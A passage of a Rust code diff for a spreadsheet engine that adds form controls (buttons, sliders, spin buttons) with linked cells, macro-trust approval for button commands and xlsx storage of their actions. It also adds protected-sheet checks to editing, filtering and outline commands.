//! `data.sortAscending`) plus primitive editing commands (`cell.set`, `selection.set`).
pub mod analysis;
pub mod controls;
pub mod data;
pub mod draw;
pub mod edit;
@@ -165,6 +166,7 @@ pub fn command_specs() -> &'static [CommandSpec] {
v.extend(format::specs());
v.extend(sheet::specs());
v.extend(insert::specs());
v.extend(controls::specs());
v.extend(equation::specs());
v.extend(data::specs());
v.extend(formulas::specs());
@@ -435,6 +437,7 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
} else if !changed.is_empty() {
d.calc.cells_changed(&mut wb, &changed);
}
controls::sync_linked_values(&mut wb);
if let Some(t0) = t0 {
eprintln!("commit: + recalc {:?}", since(t0));
}
@@ -503,10 +506,14 @@ pub(crate) fn refuse_unless_allowed(s: &Session, sheet: usize, what: &str, pick:
pub(crate) fn locked_cell_error(sh: &gridcraft_model::Sheet, c: CellRef, unlocked: &[(String, String)]) -> Option<String> {
let mut needs_password = None;
for r in sh.edit_ranges.iter().filter(|r| r.contains(c)) {
if r.password.is_none() || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) {
// A range limited to Windows users or groups (a security descriptor) can't be checked
// here, so without a password it stays locked rather than opening to every editor.
if (r.password.is_none() && r.security_descriptor.is_none()) || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) {
return None;
}
needs_password.get_or_insert(r.title.as_str());
if r.password.is_some() {
needs_password.get_or_insert(r.title.as_str());
}
}
Some(match needs_password {
Some(t) => format!("The range \"{t}\" needs its password before it can be changed (Review › Allow Edit Ranges)."),
+711
View File
@@ -0,0 +1,711 @@
//! Form controls (Insert › Controls): buttons that run a macro or a command, and sliders and spin
//! buttons that hold a whole number from 0 to 30000 and write it to a linked cell.
//!
//! A slider or spin button's value lives on the control and in its linked cell. Setting it goes
//! through `cell.set`, so the cell's dependents recalculate and Undo takes both back as one step;
//! editing the linked cell moves the control (see [`sync_linked_values`]). Pressing a button runs
//! its action through the macro policy with the document's trust, so a button from a file someone
//! else made asks before it runs anything.
use gridcraft_core::CellRef;
use gridcraft_model::{
Anchor, AnchorMode, CONTROL_MAX, ControlAction, ControlKind, FormControl, MAX_MACRO_NAME, MacroInput, ObjKind, Sheet, Workbook,
};
use serde_json::{Value as Json, json};
use super::{
CommandSpec, EngineError, PROTECTED, Result, Session, anchor_mode_param, bad, bool_param, cell_param, cmd, edit, f64_param, find_command,
has_doc, split_sheet, stash, str_param, u32_param,
};
use crate::macros::policy::{Policy, macro_policy};
pub fn specs() -> Vec<CommandSpec> {
vec![
cmd!(
"insert.button",
"Button",
["Insert", "Controls"],
None,
"{at?: \"B2\" (or cell), dx?, dy?, width?, height?, text?, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\", command?: id, params?: {..}} places a button; pressing it runs the macro or the command → {control: id}",
has_doc,
insert_button
),
cmd!(
"insert.slider",
"Slider",
["Insert", "Controls"],
None,
"{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\" | \"Sheet2!$B$1\", min?: 0, max?: 100, step?: 1, page?: 10, value?, horizontal?: true} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min, page ≥ step → {control: id}",
has_doc,
|s, p| insert_number_control(s, p, ControlKind::Slider)
),
cmd!(
"insert.spinButton",
"Spin Button",
["Insert", "Controls"],
None,
"{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\", min?: 0, max?: 100, step?: 1, value?} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min → {control: id}",
has_doc,
|s, p| insert_number_control(s, p, ControlKind::Spin)
),
cmd!(
"control.format",
"Format Control",
[],
None,
"{id, text?, name?, link?: \"$B$1\" | \"\" (no link), min?, max?, step?, page?, value?, horizontal?, print?, locked?} → the control (as control.list)",
has_doc,
format
),
cmd!(
"control.assign",
"Assign Action",
[],
None,
"{id, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\" | command?: id, params?: {..} | clear?: true} sets what a button runs → the control",
has_doc,
assign
),
cmd!(
"control.setValue",
"Change Control Value",
[],
None,
"{id, value} clamps the value to min..max, snaps it to the step, and writes it to the linked cell → {value}",
has_doc,
set_value
),
cmd!(
"control.press",
"Press Button",
[],
None,
"{id, approve?: bool, onConflict?, overwrite?} runs a button's macro or command (through the macro policy, with the workbook's trust; a workbook from a file asks first) → what the macro or command returned",
has_doc,
press
),
cmd!(query "control.list", "Form Controls", [], None, "{} → the active sheet's controls: [{id, kind, name, text, at, link?, value, min, max, step, page, horizontal, action?}]", has_doc, list),
]
}
/// The longest caption or name a control takes.
const MAX_TEXT: usize = 1_024;
fn control_json(c: &FormControl) -> Json {
let mut o = json!({
"id": c.id,
"kind": match c.kind { ControlKind::Button => "button", ControlKind::Slider => "slider", ControlKind::Spin => "spinButton" },
"name": c.display_name(),
"at": c.anchor.cell.a1(),
"width": c.anchor.width,
"height": c.anchor.height,
"print": c.print,
"locked": c.locked,
});
if c.kind == ControlKind::Button {
o["text"] = json!(c.text);
if let Some(a) = &c.action {
o["action"] = serde_json::to_value(a).unwrap_or(Json::Null);
}
} else {
o["value"] = json!(c.value);
o["min"] = json!(c.min);
o["max"] = json!(c.max);
o["step"] = json!(c.step);
if c.kind == ControlKind::Slider {
o["page"] = json!(c.page);
o["horizontal"] = json!(c.horizontal);
}
}
if let Some(l) = &c.link {
o["link"] = json!(l);
}
o
}
fn list(s: &mut Session, _: &Json) -> Result<Json> {
let sh = s.doc()?.wb.active().ok_or(EngineError::NoDocument)?;
Ok(Json::Array(sh.controls.iter().map(control_json).collect()))
}
/// A whole number from 0 to 30000 named `key`, if given. Numbers in text (`"12"`) count; anything
/// else is refused with a message that names the parameter.
fn whole(cmd: &str, p: &Json, key: &str) -> Result<Option<u32>> {
let v = match p.get(key) {
None | Some(Json::Null) => return Ok(None),
Some(Json::Number(n)) => n.as_f64(),
Some(Json::String(t)) => t.trim().parse::<f64>().ok(),
Some(_) => None,
};
match v {
Some(x) if x.is_finite() && x.fract() == 0.0 && (0.0..=CONTROL_MAX as f64).contains(&x) => Ok(Some(x as u32)),
_ => Err(bad(cmd, format!("`{key}` must be a whole number from 0 to {CONTROL_MAX}"))),
}
}
fn text_param(cmd: &str, p: &Json, key: &str) -> Result<Option<String>> {
match p.get(key) {
None | Some(Json::Null) => Ok(None),
Some(Json::String(t)) if t.chars().count() <= MAX_TEXT => Ok(Some(t.clone())),
Some(Json::String(_)) => Err(bad(cmd, format!("`{key}` is longer than {MAX_TEXT} characters"))),
Some(_) => Err(bad(cmd, format!("`{key}` must be text"))),
}
}
/// The cell a link names, from the control's sheet `host`: `(sheet index, cell)`. `None` when it
/// doesn't name one cell of an existing sheet (a link into a deleted sheet reads `#REF!`).
pub fn link_target(wb: &Workbook, host: usize, link: &str) -> Option<(usize, CellRef)> {
let text = link.trim().trim_start_matches('=');
let (sheet, body) = split_sheet(text);
let si = match sheet {
Some(n) => wb.sheet_index(&n)?,
None => host,
};
wb.sheet(si)?;
Some((si, CellRef::parse(body.trim())?))
}
/// A link parameter in its stored form: `$B$2` on the host sheet, `'My Sheet'!$B$2` elsewhere.
/// An empty text removes the link.
fn link_param(cmd: &str, wb: &Workbook, host: usize, p: &Json) -> Result<Option<Option<String>>> {
let text = match p.get("link") {
None => return Ok(None),
Some(Json::Null) => return Ok(Some(None)),
Some(Json::String(t)) => t.trim(),
Some(_) => return Err(bad(cmd, "`link` must be a cell reference such as $B$1")),
};
if text.is_empty() {
return Ok(Some(None));
}
let (si, c) = link_target(wb, host, text)
.ok_or_else(|| bad(cmd, format!("`{text}` isn't a cell of this workbook; the link must be one cell, such as $B$1")))?;
let abs = format!("${}${}", gridcraft_core::col_to_letters(c.col), c.row as u64 + 1);
Ok(Some(Some(if si == host {
abs
} else {
let name = wb.sheet(si).map(|sh| sh.name.clone()).unwrap_or_default();
format!("{}!{abs}", gridcraft_formula::quote_sheet(&name))
})))
}
/// The anchor of a new control: `at` or `cell` (default the active cell), with its size.
fn new_anchor(s: &Session, p: &Json, size: (f32, f32)) -> Result<Anchor> {
let cell = match cell_param(s, p, "at")? {
Some(c) => c,
None => cell_param(s, p, "cell")?.unwrap_or(s.doc()?.selection.active),
};
let dim = |k: &str, v: f32| f64_param(p, k).filter(|x| x.is_finite()).map_or(v, |x| x.clamp(4.0, 10_000.0) as f32);
let off = |k: &str| f64_param(p, k).filter(|x| x.is_finite()).map_or(0.0, |x| x.clamp(-10_000.0, 10_000.0) as f32);
Ok(Anchor {
cell,
dx: off("dx"),
dy: off("dy"),
width: dim("width", size.0),
height: dim("height", size.1),
mode: anchor_mode_param(p).unwrap_or(AnchorMode::MoveOnly),
})
}
fn insert_button(s: &mut Session, p: &Json) -> Result<Json> {
const CMD: &str = "insert.button";
let anchor = new_anchor(s, p, (96.0, 28.0))?;
let action = action_param(s, CMD, p)?;
let d = s.doc()?;
let id = d.wb.next_object_id();
let text = text_param(CMD, p, "text")?.unwrap_or_else(|| format!("Button {id}"));
let sheet = d.wb.active_sheet();
let control = FormControl { id, kind: ControlKind::Button, anchor, text, action, ..FormControl::default() };
edit(s, |cx| {
cx.sheet_mut(sheet)?.controls.push(control);
Ok(json!({"control": id}))
})
}
fn insert_number_control(s: &mut Session, p: &Json, kind: ControlKind) -> Result<Json> {
let cmd = if kind == ControlKind::Slider { "insert.slider" } else { "insert.spinButton" };
let horizontal = bool_param(p, "horizontal").unwrap_or(true);
let size = match kind {
ControlKind::Slider if horizontal => (144.0, 18.0),
ControlKind::Slider => (18.0, 144.0),
_ => (18.0, 36.0),
};
let anchor = new_anchor(s, p, size)?;
let d = s.doc()?;
let sheet = d.wb.active_sheet();
let id = d.wb.next_object_id();
let mut c = FormControl { id, kind, anchor, horizontal, ..FormControl::default() };
numbers(cmd, p, &mut c)?;
if let Some(link) = link_param(cmd, &d.wb, sheet, p)? {
c.link = link;
}
let given = whole(cmd, p, "value")?;
// Without a value, a control starts at the number its linked cell holds (or its minimum).
let start = given.map(f64::from).or_else(|| linked_number(&d.wb, sheet, &c)).unwrap_or(c.min as f64);
c.value = c.snap(start);
let value = c.value;
let link = c.link.clone();
s.grouped(&format!("Insert {}", kind.label()), |s| {
edit(s, |cx| {
cx.sheet_mut(sheet)?.controls.push(c);
Ok(())
})?;
if given.is_some() {
write_link(s, sheet, link.as_deref(), value)?;
}
Ok(json!({"control": id}))
})
}
/// Applies `min`, `max`, `step`, `page` and `value` from `p` to `c` and checks the result.
fn numbers(cmd: &str, p: &Json, c: &mut FormControl) -> Result<()> {
for (key, slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] {
if let Some(v) = whole(cmd, p, key)? {
*slot = v;
}
}
// A new slider's page follows a larger step unless it was given.
if p.get("page").is_none() && c.page < c.step {
c.page = c.step;
}
c.check_numbers().map_err(|e| bad(cmd, e))
}
/// The number the control's linked cell holds, if it holds one.
fn linked_number(wb: &Workbook, host: usize, c: &FormControl) -> Option<f64> {
let (si, cell) = link_target(wb, host, c.link.as_deref()?)?;
wb.sheet(si)?.cell(cell)?.value.as_f64()
}
/// Writes `value` to the linked cell through `cell.set` (nothing without a link, or when the cell
/// already shows `value`, formula or not: Format Control's OK sends the value back every time, and
/// a write that changes nothing must not turn a formula into a constant or fail on a locked cell
/// of a protected sheet; a real change replaces a formula with the constant, as in Excel).
fn write_link(s: &mut Session, host: usize, link: Option<&str>, value: u32) -> Result<()> {
let Some(link) = link else { return Ok(()) };
let Some((si, cell)) = link_target(&s.doc()?.wb, host, link) else { return Ok(()) };
let holds = s.doc()?.wb.sheet(si).and_then(|sh| sh.cell(cell)).and_then(|c| c.value.as_f64());
if holds == Some(value as f64) {
return Ok(());
}
s.execute("cell.set", json!({"sheet": si, "cell": cell.a1(), "input": value.to_string()}))?;
Ok(())
}
/// The control `id` names on the active sheet: (sheet, its index in `controls`, a copy).
fn find(s: &Session, cmd: &str, p: &Json) -> Result<(usize, usize, FormControl)> {
let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id` (a control id from control.list)"))?;
let d = s.doc()?;
let sheet = d.wb.active_sheet();
let sh = d.wb.sheet(sheet).ok_or(EngineError::NoDocument)?;
let i = sh.controls.iter().position(|c| c.id == id).ok_or_else(|| bad(cmd, format!("there is no control {id} on this sheet")))?;
let c = sh.controls.get(i).cloned().ok_or_else(|| bad(cmd, "no such control"))?;
Ok((sheet, i, c))
}
/// Drawing objects on a protected sheet can't be changed while they are locked.
/// For the object commands (`object.move`, `object.delete`, `object.setAnchorMode`, `arrange.*`,
/// `arrange.align`): refuses to change form controls `ids` on `sheet` when one is locked and the
/// sheet is protected, as `control.format` and `control.assign` do. Other kinds pass.
pub(crate) fn check_objects_unlocked(s: &Session, sheet: usize, kind: ObjKind, ids: &[u32]) -> Result<()> {
if kind != ObjKind::Control {
return Ok(());
}
let Some(sh) = s.doc()?.wb.sheet(sheet) else { return Ok(()) };
if sh.is_protected() && sh.controls.iter().any(|c| c.locked && ids.contains(&c.id)) {
return Err(EngineError::Other(PROTECTED.into()));
}
Ok(())
}
fn check_unlocked(s: &Session, sheet: usize, c: &FormControl) -> Result<()> {
if c.locked && s.doc()?.wb.sheet(sheet).is_some_and(Sheet::is_protected) {
return Err(EngineError::Other(PROTECTED.into()));
}
Ok(())
}
fn format(s: &mut Session, p: &Json) -> Result<Json> {
const CMD: &str = "control.format";
let (sheet, i, mut c) = find(s, CMD, p)?;
check_unlocked(s, sheet, &c)?;
if let Some(t) = text_param(CMD, p, "text")? {
c.text = t;
}
if let Some(n) = text_param(CMD, p, "name")? {
c.name = n.trim().to_string();
}
for (key, slot) in [("print", &mut c.print), ("locked", &mut c.locked), ("horizontal", &mut c.horizontal)] {
if let Some(v) = bool_param(p, key) {
*slot = v;
}
}
let mut given = None;
if c.kind != ControlKind::Button {
for (key, slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] {
if let Some(v) = whole(CMD, p, key)? {
*slot = v;
}
}
c.check_numbers().map_err(|e| bad(CMD, e))?;
given = whole(CMD, p, "value")?;
}
if let Some(link) = link_param(CMD, &s.doc()?.wb, sheet, p)? {
c.link = link;
}
// New bounds pull the value in; a given value is snapped to them.
c.value = c.snap(given.map_or(c.value as f64, f64::from));
let number = c.kind != ControlKind::Button;
let write = number && (given.is_some() || p.get("min").is_some() || p.get("max").is_some() || p.get("step").is_some());
let (value, link) = (c.value, c.link.clone());
s.grouped("Format Control", |s| {
edit(s, |cx| {
if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
*slot = c;
}
Ok(())
})?;
if write {
write_link(s, sheet, link.as_deref(), value)?;
}
Ok(())
})?;
// The reply is the control as committed: a new link to a cell holding another number has
// moved its value there.
let (_, _, c) = find(s, CMD, p)?;
Ok(control_json(&c))
}
/// Commands a button never runs, beyond the macro policy's lists: a button has no way to show
/// what its command would open, so a web page is refused when the action is assigned or comes in
/// from a file. A command that turns out to open a page or a dialog when it runs is refused
/// then, by [`press`].
const BUTTON_DENIED: &[(&str, &str)] = &[("link.open", "buttons don't open web pages")];
/// The macro policy for a button's command, with the button's own refusals first.
fn button_policy(id: &str, params: &Json, trust: crate::Trust) -> Policy {
match BUTTON_DENIED.iter().find(|(d, _)| *d == id) {
Some((_, why)) => Policy::Deny((*why).into()),
None => macro_policy(id, params, trust),
}
}
/// Drops the UI requests a button's command queued from `queued` on, keeping messages for the
/// person, and says why the press is refused when one would open a dialog or a web page, which
/// buttons don't do (`name` is the button's). A cell edit the command asked for is dropped too.
pub(crate) fn take_requests(s: &mut Session, queued: usize, name: &str) -> Option<String> {
use crate::UiRequest;
let mut blocked = None;
let asked: Vec<UiRequest> = s.ui_requests.drain(queued.min(s.ui_requests.len())..).collect();
for q in asked {
match q {
UiRequest::Dialog(d, _) => blocked = Some(format!("'{name}' would open the {d} dialog; give its command the parameters it needs.")),
UiRequest::OpenUrl(_) => blocked = Some(format!("'{name}' would open a web page, which buttons don't do.")),
UiRequest::EditCell(_) | UiRequest::InsertName(_) => {}
m @ UiRequest::Message(_) => s.ui_requests.push(m),
}
}
blocked
}
/// The stored name of the workbook's macro `name` when it exists and declares no inputs: a fixed
/// input range would make every press fail (`macro.run` refuses inputs it doesn't take), so such
/// an assignment is refused when it is made and dropped to the selection when a file brings one
/// in. A macro the workbook doesn't have (yet) is not checked: the assignment is kept as given.
fn takes_no_inputs(wb: &Workbook, name: &str) -> Option<String> {
crate::macros::find(wb, name).and_then(|i| wb.macros.get(i)).filter(|m| m.inputs.is_empty()).map(|m| m.name.clone())
}
/// A button action from `macro` (with `input` and `output`) or `command` (with `params`).
fn action_param(s: &Session, cmd: &str, p: &Json) -> Result<Option<ControlAction>> {
if let Some(name) = str_param(p, "macro").map(str::trim).filter(|n| !n.is_empty()) {
if name.chars().count() > MAX_MACRO_NAME {
return Err(bad(cmd, "`macro` is not a macro name"));
}
let input = match str_param(p, "input").map(str::trim) {
None | Some("") => MacroInput::Selection,
Some(t) if t.eq_ignore_ascii_case("selection") => MacroInput::Selection,
Some(t) => {
let (_, body) = split_sheet(t);
if gridcraft_core::RangeRef::parse(body).is_none() {
return Err(bad(cmd, format!("`input` must be \"selection\" or a range such as B2:D9, not `{t}`")));
}
if let Some(stored) = takes_no_inputs(&s.doc()?.wb, name) {
return Err(bad(cmd, format!("macro '{stored}' takes no inputs, so `input` must be \"selection\"")));
}
MacroInput::Fixed(t.to_string())
}
};
let output = str_param(p, "output").map(str::trim).filter(|o| !o.is_empty()).map(str::to_string);
if let Some(o) = &output
&& gridcraft_core::RangeRef::parse(split_sheet(o).1).is_none()
{
return Err(bad(cmd, format!("`output` must be a cell such as F2, not `{o}`")));
}
return Ok(Some(ControlAction::Macro { name: name.to_string(), input, output }));
}
if let Some(id) = str_param(p, "command").map(str::trim).filter(|n| !n.is_empty()) {
if find_command(id).is_none() {
return Err(bad(cmd, format!("there is no command `{id}`")));
}
let params = p.get("params").cloned().unwrap_or_else(|| json!({}));
if !params.is_object() {
return Err(bad(cmd, "`params` must be an object"));
}
let trust = s.doc()?.trust;
if let Policy::Deny(why) = button_policy(id, &params, trust) {
return Err(EngineError::Other(format!("A button can't run {id}: {why}.")));
}
return Ok(Some(ControlAction::Command { id: id.to_string(), params }));
}
Ok(None)
}
fn assign(s: &mut Session, p: &Json) -> Result<Json> {
const CMD: &str = "control.assign";
let (sheet, i, mut c) = find(s, CMD, p)?;
check_unlocked(s, sheet, &c)?;
if c.kind != ControlKind::Button {
return Err(bad(CMD, "only buttons run actions; a slider or spin button writes its value to its linked cell"));
}
let action = action_param(s, CMD, p)?;
if action.is_none() && bool_param(p, "clear") != Some(true) {
return Err(bad(CMD, "pass `macro` or `command` (or `clear: true` to remove the action)"));
}
c.action = action;
let out = control_json(&c);
edit(s, |cx| {
if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
*slot = c;
}
Ok(out)
})
}
fn set_value(s: &mut Session, p: &Json) -> Result<Json> {
const CMD: &str = "control.setValue";
let (sheet, i, c) = find(s, CMD, p)?;
if c.kind == ControlKind::Button {
return Err(bad(CMD, "a button has no value; use control.press"));
}
let v = match p.get("value") {
Some(Json::Number(n)) => n.as_f64(),
Some(Json::String(t)) => t.trim().parse::<f64>().ok(),
_ => None,
}
.filter(|v| v.is_finite())
.ok_or_else(|| bad(CMD, "`value` must be a number"))?;
let value = c.snap(v);
let label = format!("Change {}", c.kind.label());
s.grouped(&label, |s| {
if c.value != value {
edit(s, |cx| {
if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
slot.value = value;
}
Ok(())
})?;
}
write_link(s, sheet, c.link.as_deref(), value)?;
Ok(json!({"value": value}))
})
}
fn press(s: &mut Session, p: &Json) -> Result<Json> {
const CMD: &str = "control.press";
let (_, _, c) = find(s, CMD, p)?;
if c.kind != ControlKind::Button {
return Err(bad(CMD, "only buttons can be pressed; use control.setValue for a slider or spin button"));
}
let name = c.display_name();
match c.action {
None => Err(EngineError::Other(format!("'{name}' has no action. Right-click it and choose Assign Action."))),
Some(ControlAction::Macro { name: mac, input, output }) => {
let mut params = json!({"name": mac});
if let MacroInput::Fixed(r) = input {
params["inputs"] = json!(r);
}
if let Some(o) = output {
params["output"] = json!(o);
}
for key in ["approve", "onConflict", "overwrite", "timeLimit"] {
if let Some(v) = p.get(key) {
params[key] = v.clone();
}
}
// The macro runner gates every step with the document's trust.
crate::macros::run::run(s, &mac, &params)
}
Some(ControlAction::Command { id, params }) => {
let d = s.doc()?;
let (doc, trust) = (d.uid, d.trust);
let policy = button_policy(&id, &params, trust);
let file_command = matches!(policy, Policy::NeedsPermission(_));
let why = match policy {
Policy::Allow => None,
Policy::Ask(why) | Policy::NeedsPermission(why) => Some(why),
Policy::Deny(why) => return Err(EngineError::Other(format!("'{name}' can't run {id}: {why}."))),
};
if let Some(why) = why {
let key = (doc, approval_key(&id, &params));
if !s.macro_approvals.contains(&key) {
if bool_param(p, "approve") != Some(true) {
return Err(EngineError::Approve(format!("Run {id} from '{name}'? It {why}{}.", path_note(&params))));
}
s.macro_approvals.insert(key);
}
}
// As a macro step: only an approved file command reaches the file system, so a
// command that reads or writes a file under another parameter name can't.
let _sandbox = (!file_command).then(crate::io::ScriptSandbox::enter);
s.grouped(&name, |s| {
let queued = s.ui_requests.len();
let r = s.execute(&id, params.clone());
// As a macro step: a command that would open a dialog or a web page is refused
// and its group rolled back; messages for the person stay queued.
let blocked = take_requests(s, queued, &name);
let r = r?;
match blocked {
Some(why) => Err(EngineError::Other(why)),
None => Ok(r),
}
})
}
}
}
/// The file a button's command names in its `path`, as ` (path)` for its approval question, so
/// the person sees what it reads or writes before saying yes. Empty without a `path`; a long one
/// is shortened in the middle.
fn path_note(params: &Json) -> String {
let text = match params.get("path") {
None | Some(Json::Null) => return String::new(),
Some(Json::String(t)) => t.clone(),
Some(other) => other.to_string(),
};
let text: String = text.chars().map(|c| if c.is_control() { ' ' } else { c }).collect();
let n = text.chars().count();
let shown = if n > 200 {
let head: String = text.chars().take(100).collect();
let tail: String = text.chars().skip(n - 99).collect();
format!("{head}…{tail}")
} else {
text
};
format!(" ({shown})")
}
/// The approval key of a button's command: its id and parameters, with a prefix that keeps it
/// apart from a macro's fingerprint (canonical JSON, which starts with `{`).
fn approval_key(id: &str, params: &Json) -> String {
format!("control-command\u{0}{id}\u{0}{params}")
}
/// After an edit: each slider and spin button whose linked cell holds a number takes that number
/// (clamped and snapped), so editing the cell moves the control. Sheets without such a control
/// are left untouched.
pub(crate) fn sync_linked_values(wb: &mut Workbook) {
for si in 0..wb.sheets.len() {
let updates: Vec<(usize, u32)> = match wb.sheet(si) {
Some(sh) if sh.controls.iter().any(|c| c.link.is_some()) => sh
.controls
.iter()
.enumerate()
.filter(|(_, c)| c.kind != ControlKind::Button)
.filter_map(|(i, c)| linked_number(wb, si, c).map(|n| (i, c.snap(n))).filter(|(_, v)| *v != c.value))
.collect(),
_ => continue,
};
if updates.is_empty() {
continue;
}
if let Some(sh) = wb.sheet_mut(si) {
for (i, v) in updates {
if let Some(c) = sh.controls.get_mut(i) {
c.value = v;
}
}
}
}
}
// ---------------------------------------------------------------- xlsx
/// The hidden-data key of the button actions xlsx has no place for.
pub(crate) const ACTIONS_KEY: &str = "control_actions";
/// A button's action that xlsx carries itself: a macro on the selection (`macro="[0]!Name"`).
fn plain(a: &ControlAction) -> bool {
matches!(a, ControlAction::Macro { input: MacroInput::Selection, output: None, .. })
}
/// A copy of `wb` for xlsx with the button actions xlsx can't express (commands, fixed inputs,
/// output cells) in a hidden name, keyed by sheet name and the control's place on the sheet, with
/// the button's name and anchor cell to check it is still the same button when the file comes
/// back. `None` when there is nothing to store.
pub(crate) fn with_action_names(wb: &Workbook) -> Result<Option<Workbook>> {
let mut items = Vec::new();
for sh in &wb.sheets {
for (i, c) in sh.controls.iter().enumerate() {
if let Some(a) = c.action.as_ref().filter(|a| !plain(a)) {
items.push(json!({"sheet": sh.name, "index": i, "name": c.display_name(), "at": c.anchor.cell.a1(), "action": a}));
}
}
}
let stale = stash::get(wb, ACTIONS_KEY).is_some();
if items.is_empty() && !stale {
return Ok(None);
}
let mut out = wb.clone();
stash::remove(&mut out, ACTIONS_KEY);
if !items.is_empty() {
stash::set_json(&mut out, ACTIONS_KEY, &Json::Array(items))?;
}
Ok(Some(out))
}
/// After a file is opened: gives buttons back the actions kept in the hidden name, and removes
/// it. Entries that don't parse, or don't match a button, are dropped: an entry must carry the
/// button's name and anchor cell, the button at the stored place must have that name and anchor
/// cell (another application may have added, removed or reordered controls), and it must not
/// have been given another macro since (a stored macro action comes back only on a button that
/// still runs that macro, a stored command only on one the file gives no macro). A stored fixed
/// input for a macro that takes no inputs becomes the selection (see [`takes_no_inputs`]).
pub(crate) fn load_action_names(wb: &mut Workbook) {
let Some(items) = stash::get_json(wb, ACTIONS_KEY) else { return };
stash::remove(wb, ACTIONS_KEY);
for item in items.as_array().into_iter().flatten().take(100_000) {
let (Some(sheet), Some(index)) = (item.get("sheet").and_then(Json::as_str), item.get("index").and_then(Json::as_u64)) else { continue };
let Ok(action) = serde_json::from_value::<ControlAction>(item.get("action").cloned().unwrap_or(Json::Null)) else { continue };
let valid = match &action {
ControlAction::Macro { name, .. } => !name.trim().is_empty() && name.chars().count() <= MAX_MACRO_NAME,
ControlAction::Command { id, params } => !id.is_empty() && id.len() <= 200 && params.is_object(),
};
let Some(si) = wb.sheet_index(sheet) else { continue };
let Ok(index) = usize::try_from(index) else { continue };
let text = |k: &str| item.get(k).and_then(Json::as_str);
let same = |c: &FormControl| {
c.kind == ControlKind::Button
&& text("name").is_some_and(|n| n == c.display_name())
&& text("at").is_some_and(|a| a == c.anchor.cell.a1())
&& match (&c.action, &action) {
(None, ControlAction::Command { .. }) => true,
(Some(ControlAction::Macro { name: now, .. }), ControlAction::Macro { name: kept, .. }) => now.eq_ignore_ascii_case(kept),
_ => false,
}
};
if !valid || !wb.sheet(si).is_some_and(|sh| sh.controls.get(index).is_some_and(same)) {
continue;
}
let action = match action {
// The macro takes no inputs now: the stored range would fail every press, so the
// button runs the macro on the selection, as the file itself assigns it.
ControlAction::Macro { name, input: MacroInput::Fixed(_), output } if takes_no_inputs(wb, &name).is_some() => {
ControlAction::Macro { name, input: MacroInput::Selection, output }
}
other => other,
};
if let Some(c) = wb.sheet_mut(si).and_then(|sh| sh.controls.get_mut(index)) {
c.action = Some(action);
}
}
}
+2
View File
@@ -270,6 +270,7 @@ pub(crate) fn apply_filter(wb: &mut Workbook, sheet: usize) {
pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result<Json> {
let sheet = s.doc()?.wb.active_sheet();
crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?;
edit(s, |cx| {
let sh = cx.sheet_mut(sheet)?;
if let Some(a) = sh.autofilter.as_mut() {
@@ -283,6 +284,7 @@ pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result<Json> {
pub(super) fn reapply(s: &mut Session, _: &Json) -> Result<Json> {
let sheet = s.doc()?.wb.active_sheet();
crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?;
edit(s, |cx| {
apply_filter(&mut cx.wb, sheet);
cx.structural = true;
+17
View File
@@ -21,6 +21,15 @@ fn outline_lines(s: &Session, p: &Json) -> Result<(bool, u32, u32)> {
}
}
/// Outline commands change line visibility and grouping: a protected sheet must allow formatting that axis.
fn refuse_unless_outline_allowed(s: &Session, sheet: usize, rows: bool) -> Result<()> {
if rows {
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)
} else {
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)
}
}
pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
let si = target_sheet(s, p)?;
// The selection belongs to the active sheet, so another sheet needs its lines.
@@ -28,6 +37,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
return Err(bad(if on { "data.group" } else { "data.ungroup" }, "missing `rows` or `cols`: the selection is on the active sheet"));
}
let (rows, a, b) = outline_lines(s, p)?;
refuse_unless_outline_allowed(s, si, rows)?;
edit(s, |cx| {
let sh = cx.sheet_mut(si)?;
let before = outline::summary_before(sh, rows);
@@ -58,6 +68,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
/// + button, saved to XLSX); showing keeps inner groups that were collapsed on their own collapsed.
pub(super) fn detail(s: &mut Session, p: &Json, hide: bool) -> Result<Json> {
let (rows, a, b) = outline_lines(s, p)?;
refuse_unless_outline_allowed(s, s.doc()?.wb.active_sheet(), rows)?;
let want = p.get("level").and_then(Json::as_u64).map(|l| l.min(outline::MAX_LEVEL as u64) as u8);
edit(s, |cx| {
let si = cx.sheet_index();
@@ -123,6 +134,12 @@ pub(super) fn show_levels(s: &mut Session, p: &Json) -> Result<Json> {
msg: "give `rows` or `cols`: the outline level to show (1 = top-level summaries only)".into(),
});
}
let active = s.doc()?.wb.active_sheet();
for (n, is_rows) in [(rows, true), (cols, false)] {
if n.is_some() {
refuse_unless_outline_allowed(s, active, is_rows)?;
}
}
edit(s, |cx| {
let si = cx.sheet_index();
let sh = cx.sheet_mut(si)?;
+65 -19
View File
@@ -23,7 +23,7 @@ use cell::{cell_set, range_fill, range_set_values};
pub(crate) use cell::{check_arg_counts, input_to_cell, is_formula_input, json_to_input, parse_typed_formula};
#[cfg(test)]
pub(crate) use clipboard::parse_tsv;
use clipboard::{clear_clipboard, copy, cut, paste};
use clipboard::{clear_clipboard, copy, cut, paste, range_move};
use fill::{auto_fill, fill_dir, fill_series, flash_fill};
